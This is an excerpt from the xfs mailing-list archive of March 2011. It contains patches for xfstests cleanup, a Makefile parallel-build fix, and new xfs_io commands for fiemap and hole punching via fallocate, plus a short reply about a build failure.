oss.sgi.com X-Virus-Status: Clean Tests 127 and 134 leave temp files around when they complete. Fix (or enable) their cleanup functions to remedy this. Signed-off-by: Alex Elder --- 127 | 1 + 134 | 3 +-- 2 files changed, 2 insertions(+), 2 deletions(-) Index: b/127 =================================================================== --- a/127 +++ b/127 @@ -38,6 +38,7 @@ trap "_cleanup; exit \$status" 0 1 2 3 1 _cleanup() { + rm -f $tmp.output _cleanup_testdir } Index: b/134 =================================================================== --- a/134 +++ b/134 @@ -43,8 +43,7 @@ _cleanup() umount $SCRATCH_MNT 2>/dev/null rm -f $tmp.* } -#trap "_cleanup; exit \$status" 0 1 2 3 15 - +trap "_cleanup; exit \$status" 0 1 2 3 15 # real QA test starts here _supported_fs xfs From aelder@sgi.com Fri Mar 4 16:32:18 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p24MWI0c194471 for ; Fri, 4 Mar 2011 16:32:18 -0600 Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.232.50]) by relay1.corp.sgi.com (Postfix) with ESMTP id A54928F8078 for ; Fri, 4 Mar 2011 14:35:07 -0800 (PST) Received: from stout.americas.sgi.com (localhost6.localdomain6 [127.0.0.1]) by stout.americas.sgi.com (8.14.4/8.14.2) with ESMTP id p24MZ7KS023400 for ; Fri, 4 Mar 2011 16:35:07 -0600 Received: (from aelder@localhost) by stout.americas.sgi.com (8.14.4/8.14.4/Submit) id p24MZ75i023399 for xfs@oss.sgi.com; Fri, 4 Mar 2011 16:35:07 -0600 From: Alex Elder Message-Id: <201103042235.p24MZ75i023399@stout.americas.sgi.com> Date: Fri, 04 Mar 2011 16:35:07 -0600 To: xfs@oss.sgi.com Subject: [PATCH] xfstests: fix parallel make User-Agent: Heirloom mailx 12.5 7/5/10 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Having both "include/builddefs" and "include/config.h" as dependencies for the default target results in a parallel invocation of "make" spawning two concurrent attempts to do the configure step--and that doesn't work. Creating one of those two will result in the other getting created, so there's no need to list both as dependencies. There are several other mysterious dependencies that serve no purpose, so get rid of them. Signed-off-by: Alex Elder --- Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) Index: b/Makefile =================================================================== --- a/Makefile +++ b/Makefile @@ -38,7 +38,7 @@ endif SUBDIRS = $(LIB_SUBDIRS) $(TOOL_SUBDIRS) -default: include/builddefs include/config.h new remake check $(TESTS) +default: include/builddefs $(TESTS) ifeq ($(HAVE_BUILDDEFS), no) $(Q)$(MAKE) $(MAKEOPTS) $@ else From BATV+f5b09f80cfebbe8ca582+2750+infradead.org+hch@bombadil.srs.infradead.org Fri Mar 4 18:22:04 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_64 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p250M3ot198593 for ; Fri, 4 Mar 2011 18:22:04 -0600 X-ASG-Debug-ID: 1299284695-4ce501220000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 837291AECD9D for ; Fri, 4 Mar 2011 16:24:55 -0800 (PST) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id AB6QG5gByoW81w55 for ; Fri, 04 Mar 2011 16:24:55 -0800 (PST) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1PvfIj-0006ir-LO; Sat, 05 Mar 2011 00:24:53 +0000 Message-Id: <20110305002453.629027892@bombadil.infradead.org> User-Agent: quilt/0.48-1 Date: Fri, 04 Mar 2011 19:22:24 -0500 From: Christoph Hellwig To: xfs@oss.sgi.com Cc: josef@redhat.com X-ASG-Orig-Subj: [PATCH 2/3] xfs_io: add -p for hole punching to falloc command Subject: [PATCH 2/3] xfs_io: add -p for hole punching to falloc command References: <20110305002222.395571492@bombadil.infradead.org> Content-Disposition: inline; filename=add-fallocate-punch-support X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1299284695 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Signed-off-by: Josef Bacik Signed-off-by: Christoph Hellwig --- io/prealloc.c | 17 ++++++++++++++++- 1 files changed, 16 insertions(+), 1 deletions(-) Index: xfsprogs-dev/io/prealloc.c =================================================================== --- xfsprogs-dev.orig/io/prealloc.c 2010-09-11 19:49:44.000000000 +0000 +++ xfsprogs-dev/io/prealloc.c 2011-03-05 00:07:16.000000000 +0000 @@ -25,6 +25,10 @@ #include "init.h" #include "io.h" +#ifndef FALLOC_FL_PUNCH_HOLE +#define FALLOC_FL_PUNCH_HOLE 0x02 +#endif + static cmdinfo_t allocsp_cmd; static cmdinfo_t freesp_cmd; static cmdinfo_t resvsp_cmd; @@ -154,11 +158,14 @@ fallocate_f( int mode = 0; int c; - while ((c = getopt(argc, argv, "k")) != EOF) { + while ((c = getopt(argc, argv, "kp")) != EOF) { switch (c) { case 'k': mode = FALLOC_FL_KEEP_SIZE; break; + case 'p': + mode = FALLOC_FL_PUNCH_HOLE; + break; default: command_usage(&falloc_cmd); } @@ -236,7 +243,7 @@ prealloc_init(void) falloc_cmd.argmin = 2; falloc_cmd.argmax = -1; falloc_cmd.flags = CMD_NOMAP_OK | CMD_FOREIGN_OK; - falloc_cmd.args = _("[-k] off len"); + falloc_cmd.args = _("[-k] [-p] off len"); falloc_cmd.oneline = _("allocates space associated with part of a file via fallocate"); From BATV+f5b09f80cfebbe8ca582+2750+infradead.org+hch@bombadil.srs.infradead.org Fri Mar 4 18:22:05 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.5 required=5.0 tests=BAYES_00,J_CHICKENPOX_63, J_CHICKENPOX_64,J_CHICKENPOX_66,J_CHICKENPOX_84 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p250M2KX198583 for ; Fri, 4 Mar 2011 18:22:04 -0600 X-ASG-Debug-ID: 1299284693-68fb000a0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 365F730FC6E for ; Fri, 4 Mar 2011 16:24:54 -0800 (PST) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id va6k1ZcVgFOBe8bE for ; Fri, 04 Mar 2011 16:24:54 -0800 (PST) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1PvfIj-0006iM-FJ; Sat, 05 Mar 2011 00:24:53 +0000 Message-Id: <20110305002453.434915100@bombadil.infradead.org> User-Agent: quilt/0.48-1 Date: Fri, 04 Mar 2011 19:22:23 -0500 From: Christoph Hellwig To: xfs@oss.sgi.com Cc: josef@redhat.com X-ASG-Orig-Subj: [PATCH 1/3] xfs_io: add fiemap command to xfs_io Subject: [PATCH 1/3] xfs_io: add fiemap command to xfs_io References: <20110305002222.395571492@bombadil.infradead.org> Content-Disposition: inline; filename=add-fiemap-command X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1299284694 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Add a fiemap command that works almost exactly like bmap, but works on all filesystem supporting the FIEMAP ioctl. It is formatted similarly and takes similar flags, the only thing thats different is obviously it doesn't pit out AG info and it doesn't make finding prealloc space optional. Signed-off-by: Josef Bacik Signed-off-by: Christoph Hellwig diff --git a/configure.in b/configure.in index 30907de..16441ce 100644 --- a/configure.in +++ b/configure.in @@ -103,6 +103,7 @@ AC_HAVE_SENDFILE AC_HAVE_GETMNTENT AC_HAVE_GETMNTINFO AC_HAVE_FALLOCATE +AC_HAVE_FIEMAP AC_HAVE_BLKID_TOPO($enable_blkid) AC_TYPE_PSINT diff --git a/include/builddefs.in b/include/builddefs.in index 93d1e67..f895ed9 100644 --- a/include/builddefs.in +++ b/include/builddefs.in @@ -98,6 +98,7 @@ HAVE_SENDFILE = @have_sendfile@ HAVE_GETMNTENT = @have_getmntent@ HAVE_GETMNTINFO = @have_getmntinfo@ HAVE_FALLOCATE = @have_fallocate@ +HAVE_FIEMAP = @have_fiemap@ GCCFLAGS = -funsigned-char -fno-strict-aliasing -Wall # -Wbitwise -Wno-transparent-union -Wno-old-initializer -Wno-decl diff --git a/io/Makefile b/io/Makefile index fc98166..9d79dca 100644 --- a/io/Makefile +++ b/io/Makefile @@ -44,6 +44,13 @@ else LSRCFILES += sendfile.c endif +ifeq ($(HAVE_FIEMAP),yes) +CFILES += fiemap.c +LCFLAGS += -DHAVE_FIEMAP +else +LSRCFILES += fiemap.c +endif + ifeq ($(PKG_PLATFORM),irix) LSRCFILES += inject.c resblks.c else diff --git a/io/fiemap.c b/io/fiemap.c new file mode 100644 index 0000000..fa990cc --- /dev/null +++ b/io/fiemap.c @@ -0,0 +1,347 @@ +/* + * Copyright (c) 2010 Red Hat, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#include +#include +#include +#include +#include "init.h" +#include "io.h" + +static cmdinfo_t fiemap_cmd; + +static void +fiemap_help(void) +{ + printf(_( +"\n" +" prints the block mapping for a file's data or attribute forks" +"\n" +" Example:\n" +" 'fiemap -v' - tabular format verbose map\n" +"\n" +" fiemap prints the map of disk blocks used by the current file.\n" +" The map lists each extent used by the file, as well as regions in the\n" +" file that do not have any corresponding blocks (holes).\n" +" By default, each line of the listing takes the following form:\n" +" extent: [startoffset..endoffset]: startblock..endblock\n" +" Holes are marked by replacing the startblock..endblock with 'hole'.\n" +" All the file offsets and disk blocks are in units of 512-byte blocks.\n" +" -a -- prints the attribute fork map instead of the data fork.\n" +" -l -- also displays the length of each extent in 512-byte blocks.\n" +" -n -- query n extents.\n" +" -v -- Verbose information\n" +"\n")); +} + +static int +numlen( + __u64 val, + int base) +{ + __u64 tmp; + int len; + + for (len = 0, tmp = val; tmp > 0; tmp = tmp/base) + len++; + return (len == 0 ? 1 : len); +} + +static void +print_verbose( + struct fiemap_extent *extent, + int blocksize, + int foff_w, + int boff_w, + int tot_w, + int flg_w, + int max_extents, + int *cur_extent, + __u64 *last_logical) +{ + __u64 lstart; + __u64 len; + __u64 block; + char lbuf[48]; + char bbuf[48]; + char flgbuf[16]; + + lstart = extent->fe_logical / blocksize; + len = extent->fe_length / blocksize; + block = extent->fe_physical / blocksize; + + memset(lbuf, 0, sizeof(lbuf)); + memset(bbuf, 0, sizeof(bbuf)); + + if (lstart != *last_logical) { + snprintf(lbuf, sizeof(lbuf), "[%llu..%llu]:", *last_logical, + lstart - 1ULL); + printf("%4d: %-*s %-*s %*llu\n", *cur_extent, foff_w, lbuf, + boff_w, _("hole"), tot_w, lstart - *last_logical); + (*cur_extent)++; + memset(lbuf, 0, sizeof(lbuf)); + } + + if ((*cur_extent + 1) == max_extents) + return; + + snprintf(lbuf, sizeof(lbuf), "[%llu..%llu]:", lstart, + lstart + len - 1ULL); + snprintf(bbuf, sizeof(bbuf), "%llu..%llu", block, block + len - 1ULL); + snprintf(flgbuf, sizeof(flgbuf), "0x%x", extent->fe_flags); + printf("%4d: %-*s %-*s %*llu %*s\n", *cur_extent, foff_w, lbuf, + boff_w, bbuf, tot_w, len, flg_w, flgbuf); + + (*cur_extent)++; + *last_logical = lstart + len; +} + +static void +print_plain( + struct fiemap_extent *extent, + int lflag, + int blocksize, + int max_extents, + int *cur_extent, + __u64 *last_logical) +{ + __u64 lstart; + __u64 block; + __u64 len; + + lstart = extent->fe_logical / blocksize; + len = extent->fe_length / blocksize; + block = extent->fe_physical / blocksize; + + if (lstart != *last_logical) { + printf("\t%d: [%llu..%llu]: hole", *cur_extent, + *last_logical, lstart - 1ULL); + if (lflag) + printf(_(" %llu blocks\n"), + lstart - *last_logical); + else + printf("\n"); + (*cur_extent)++; + } + + if ((*cur_extent + 1) == max_extents) + return; + + printf("\t%d: [%llu..%llu]: %llu..%llu", *cur_extent, + lstart, lstart + len - 1ULL, block, + block + len - 1ULL); + + if (lflag) + printf(_(" %llu blocks\n"), len); + else + printf("\n"); + (*cur_extent)++; + *last_logical = lstart + len; +} + +int +fiemap_f( + int argc, + char **argv) +{ + struct fiemap *fiemap; + int max_extents = 0; + int num_extents = 32; + int last = 0; + int nflag = 0; + int lflag = 0; + int vflag = 0; + int fiemap_flags = FIEMAP_FLAG_SYNC; + int c; + int i; + int map_size; + int ret; + int cur_extent = 0; + int foff_w = 16; /* 16 just for a good minimum range */ + int boff_w = 16; + int tot_w = 5; /* 5 since its just one number */ + int flg_w = 5; + __u64 blocksize = 512; + __u64 last_logical = 0; + struct stat st; + + while ((c = getopt(argc, argv, "aln:v")) != EOF) { + switch (c) { + case 'a': + fiemap_flags |= FIEMAP_FLAG_XATTR; + break; + case 'l': + lflag = 1; + break; + case 'n': + max_extents = atoi(optarg); + nflag = 1; + break; + case 'v': + vflag++; + break; + default: + return command_usage(&fiemap_cmd); + } + } + + if (max_extents) + num_extents = min(num_extents, max_extents); + map_size = sizeof(struct fiemap) + + (num_extents * sizeof(struct fiemap_extent)); + fiemap = malloc(map_size); + if (!fiemap) { + fprintf(stderr, _("%s: malloc of %d bytes failed.\n"), + progname, map_size); + exitcode = 1; + return 0; + } + + printf("%s:\n", file->name); + + if (vflag) { + for (i = 0; i < fiemap->fm_mapped_extents; i++) { + char lbuf[32]; + char bbuf[32]; + __u64 logical; + __u64 block; + __u64 len; + struct fiemap_extent *extent; + + extent = &fiemap->fm_extents[i]; + logical = extent->fe_logical / blocksize; + len = extent->fe_length / blocksize; + block = extent->fe_physical / blocksize; + + snprintf(lbuf, sizeof(lbuf), "[%llu..%llu]", logical, + logical + len - 1); + snprintf(bbuf, sizeof(bbuf), "%llu..%llu", block, + block + len - 1); + foff_w = max(foff_w, strlen(lbuf)); + boff_w = max(boff_w, strlen(bbuf)); + tot_w = max(tot_w, numlen(len, 10)); + flg_w = max(flg_w, numlen(extent->fe_flags, 16)); + if (extent->fe_flags & FIEMAP_EXTENT_LAST) + break; + } + printf("%4s: %-*s %-*s %*s %*s\n", _("EXT"), + foff_w, _("FILE-OFFSET"), + boff_w, _("BLOCK-RANGE"), + tot_w, _("TOTAL"), + flg_w, _("FLAGS")); + } + + while (!last && ((cur_extent + 1) != max_extents)) { + if (max_extents) + num_extents = min(num_extents, + max_extents - (cur_extent + 1)); + + memset(fiemap, 0, map_size); + fiemap->fm_flags = fiemap_flags; + fiemap->fm_start = last_logical; + fiemap->fm_length = -1; + fiemap->fm_extent_count = num_extents; + + ret = ioctl(file->fd, FS_IOC_FIEMAP, (unsigned long)fiemap); + if (ret < 0) { + fprintf(stderr, "%s: ioctl(FS_IOC_FIEMAP) [\"%s\"]: " + "%s\n", progname, file->name, strerror(errno)); + free(fiemap); + exitcode = 1; + return 0; + } + + /* No more extents to map, exit */ + if (!fiemap->fm_mapped_extents) + break; + + for (i = 0; i < fiemap->fm_mapped_extents; i++) { + struct fiemap_extent *extent; + + extent = &fiemap->fm_extents[i]; + if (vflag) + print_verbose(extent, blocksize, foff_w, + boff_w, tot_w, flg_w, + max_extents, &cur_extent, + &last_logical); + else + print_plain(extent, lflag, blocksize, + max_extents, &cur_extent, + &last_logical); + if (extent->fe_flags & FIEMAP_EXTENT_LAST) { + last = 1; + break; + } + + if ((cur_extent + 1) == max_extents) + break; + } + } + + if ((cur_extent + 1) == max_extents) + goto out; + + memset(&st, 0, sizeof(st)); + if (fstat(file->fd, &st)) { + fprintf(stderr, "%s: fstat failed: %s\n", progname, + strerror(errno)); + free(fiemap); + exitcode = 1; + return 0; + } + + if (cur_extent && last_logical < (st.st_size / blocksize)) { + char lbuf[32]; + + snprintf(lbuf, sizeof(lbuf), "[%llu..%llu]:", + last_logical, (st.st_size / blocksize) - 1); + if (vflag) { + printf("%4d: %-*s %-*s %*llu\n", cur_extent, + foff_w, lbuf, boff_w, _("hole"), tot_w, + (st.st_size / blocksize) - last_logical); + } else { + printf("\t%d: %s %s", cur_extent, lbuf, + _("hole")); + if (lflag) + printf(_(" %llu blocks\n"), + (st.st_size / blocksize) - + last_logical); + else + printf("\n"); + } + } + +out: + free(fiemap); + return 0; +} + +void +fiemap_init(void) +{ + fiemap_cmd.name = "fiemap"; + fiemap_cmd.cfunc = fiemap_f; + fiemap_cmd.argmin = 0; + fiemap_cmd.argmax = -1; + fiemap_cmd.flags = CMD_NOMAP_OK | CMD_FOREIGN_OK; + fiemap_cmd.args = _("[-alv] [-n nx]"); + fiemap_cmd.oneline = _("print block mapping for a file"); + fiemap_cmd.help = fiemap_help; + + add_command(&fiemap_cmd); +} diff --git a/io/init.c b/io/init.c index f8fc25d..a166ad1 100644 --- a/io/init.c +++ b/io/init.c @@ -71,6 +71,7 @@ init_commands(void) parent_init(); pread_init(); prealloc_init(); + fiemap_init(); pwrite_init(); quit_init(); resblks_init(); diff --git a/io/io.h b/io/io.h index 630897d..2923362 100644 --- a/io/io.h +++ b/io/io.h @@ -135,3 +135,9 @@ extern void mincore_init(void); #else #define mincore_init() do { } while (0) #endif + +#ifdef HAVE_FIEMAP +extern void fiemap_init(void); +#else +#define fiemap_init() do { } while (0) +#endif diff --git a/m4/package_libcdev.m4 b/m4/package_libcdev.m4 index 1c1859d..8192181 100644 --- a/m4/package_libcdev.m4 +++ b/m4/package_libcdev.m4 @@ -116,3 +116,11 @@ AC_DEFUN([AC_HAVE_FALLOCATE], AC_MSG_RESULT(no)) AC_SUBST(have_fallocate) ]) + +# +# Check if we have the fiemap ioctl (Linux) +# +AC_DEFUN([AC_HAVE_FIEMAP], + [ AC_CHECK_HEADERS([linux/fiemap.h], [ have_fiemap=yes ], [ have_fiemap=no ]) + AC_SUBST(have_fiemap) + ]) -- 1.6.6.1 _______________________________________________ xfs mailing list xfs@oss.sgi.com http://oss.sgi.com/mailman/listinfo/xfs From BATV+f5b09f80cfebbe8ca582+2750+infradead.org+hch@bombadil.srs.infradead.org Fri Mar 4 18:22:05 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p250M3WF198589 for ; Fri, 4 Mar 2011 18:22:05 -0600 X-ASG-Debug-ID: 1299284694-5cd8004c0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 2A5F215819BB for ; Fri, 4 Mar 2011 16:24:54 -0800 (PST) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id t9LcJzGn8WLaaoao for ; Fri, 04 Mar 2011 16:24:54 -0800 (PST) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1PvfIj-0006hn-99; Sat, 05 Mar 2011 00:24:53 +0000 Message-Id: <20110305002222.395571492@bombadil.infradead.org> User-Agent: quilt/0.48-1 Date: Fri, 04 Mar 2011 19:22:22 -0500 From: Christoph Hellwig To: xfs@oss.sgi.com Cc: josef@redhat.com X-ASG-Orig-Subj: [PATCH 0/3] Josefs xfs_io patches Subject: [PATCH 0/3] Josefs xfs_io patches X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1299284695 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean I promised to look into adding alias support to libxcmd to allow both fallocate -p and fpunch to work. Turns out that isn't quite as easy as I though. But given how trivial the hole punching code is I think we can just put in both version of Josef's patch. That's what this patchset does - first one is his fiemap patch, which is unmodified except for the commit message, and the next two are the fallocate -p and fpunch support, with trivial changes to provide the FALLOC_FL_PUNCH_HOLE define if the kernel headers don't provide it. From BATV+f5b09f80cfebbe8ca582+2750+infradead.org+hch@bombadil.srs.infradead.org Fri Mar 4 18:22:05 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p250M3BX198591 for ; Fri, 4 Mar 2011 18:22:05 -0600 X-ASG-Debug-ID: 1299284694-5cdc00540000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 5040D15819C4 for ; Fri, 4 Mar 2011 16:24:54 -0800 (PST) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id VviEk7Dc2o29l3fn for ; Fri, 04 Mar 2011 16:24:54 -0800 (PST) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1PvfIj-0006jS-RP; Sat, 05 Mar 2011 00:24:53 +0000 Message-Id: <20110305002453.815562682@bombadil.infradead.org> User-Agent: quilt/0.48-1 Date: Fri, 04 Mar 2011 19:22:25 -0500 From: Christoph Hellwig To: xfs@oss.sgi.com Cc: josef@redhat.com X-ASG-Orig-Subj: [PATCH 3/3] xfs_io: add fpunch command for hole punching via fallocate Subject: [PATCH 3/3] xfs_io: add fpunch command for hole punching via fallocate References: <20110305002222.395571492@bombadil.infradead.org> Content-Disposition: inline; filename=add-fpunch-command X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1299284695 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Add a fpunch command which simply uses fallocate to punch a hole for the given offset and length. Signed-off-by: Josef Bacik Signed-off-by: Christoph Hellwig --- io/prealloc.c | 45 +++++++++++++++++++++++++++++++++++++++++---- 1 files changed, 41 insertions(+), 4 deletions(-) Index: xfsprogs-dev/io/prealloc.c =================================================================== --- xfsprogs-dev.orig/io/prealloc.c 2011-03-05 00:07:16.000000000 +0000 +++ xfsprogs-dev/io/prealloc.c 2011-03-05 00:10:37.000000000 +0000 @@ -36,6 +36,7 @@ static cmdinfo_t unresvsp_cmd; static cmdinfo_t zero_cmd; #if defined(HAVE_FALLOCATE) static cmdinfo_t falloc_cmd; +static cmdinfo_t fpunch_cmd; #endif static int @@ -183,7 +184,26 @@ fallocate_f( } return 0; } -#endif + +static int +fpunch_f( + int argc, + char **argv) +{ + xfs_flock64_t segment; + int mode = FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE; + + if (!offset_length(argv[1], argv[2], &segment)) + return 0; + + if (fallocate(file->fd, mode, + segment.l_start, segment.l_len)) { + perror("fallocate"); + return 0; + } + return 0; +} +#endif /* HAVE_FALLOCATE */ void prealloc_init(void) @@ -246,7 +266,16 @@ prealloc_init(void) falloc_cmd.args = _("[-k] [-p] off len"); falloc_cmd.oneline = _("allocates space associated with part of a file via fallocate"); - add_command(&falloc_cmd); -#endif + + fpunch_cmd.name = _("fpunch"); + fpunch_cmd.cfunc = fpunch_f; + fpunch_cmd.argmin = 2; + fpunch_cmd.argmax = 2; + fpunch_cmd.flags = CMD_NOMAP_OK | CMD_FOREIGN_OK; + fpunch_cmd.args = _("off len"); + fpunch_cmd.oneline = + _("de-allocates space assocated with part of a file via fallocate"); + add_command(&fpunch_cmd); +#endif /* HAVE_FALLOCATE */ } From BATV+f5b09f80cfebbe8ca582+2750+infradead.org+hch@bombadil.srs.infradead.org Fri Mar 4 18:50:03 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p250o3vu199951 for ; Fri, 4 Mar 2011 18:50:03 -0600 X-ASG-Debug-ID: 1299286374-594301270000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 1EC441AFA6A7 for ; Fri, 4 Mar 2011 16:52:54 -0800 (PST) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id v3xm2p7p3GdBxtMr for ; Fri, 04 Mar 2011 16:52:54 -0800 (PST) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Pvfjp-00038X-JH; Sat, 05 Mar 2011 00:52:53 +0000 Date: Fri, 4 Mar 2011 19:52:53 -0500 From: Christoph Hellwig To: Marc Lehmann Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: git xfsprogs don't build Subject: Re: git xfsprogs don't build Message-ID: <20110305005253.GA11865@infradead.org> References: <20110304163608.GB2030@schmorp.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110304163608.GB2030@schmorp.de> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1299286375 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, Mar 04, 2011 at 05:36:08PM +0100, Marc Lehmann wrote: > That almost certainly means somebody tried to build a shared object or > library with some object file compiled without -fPIC. That function indeed doesn't exist in non-debug builds. But by default we do not build xfsprogs that way. For now make sure to not have -DNDEBUG in your CFLAGS, I'll make sure we get a proper fix commited. From schmorp@schmorp.de Sat Mar 5 17:57:45 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_47 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p25Nvigg008209 for ; Sat, 5 Mar 2011 17:57:45 -0600 X-ASG-Debug-ID: 1299369634-3494008a0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail.nethype.de (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 2169A1AFD1C0 for ; Sat, 5 Mar 2011 16:00:34 -0800 (PST) Received: from mail.nethype.de (mail.nethype.de [78.47.73.129]) by cuda.sgi.com with ESMTP id 8zJaPc6TtgBgyvYR for ; Sat, 05 Mar 2011 16:00:34 -0800 (PST) Received: from [10.0.0.5] 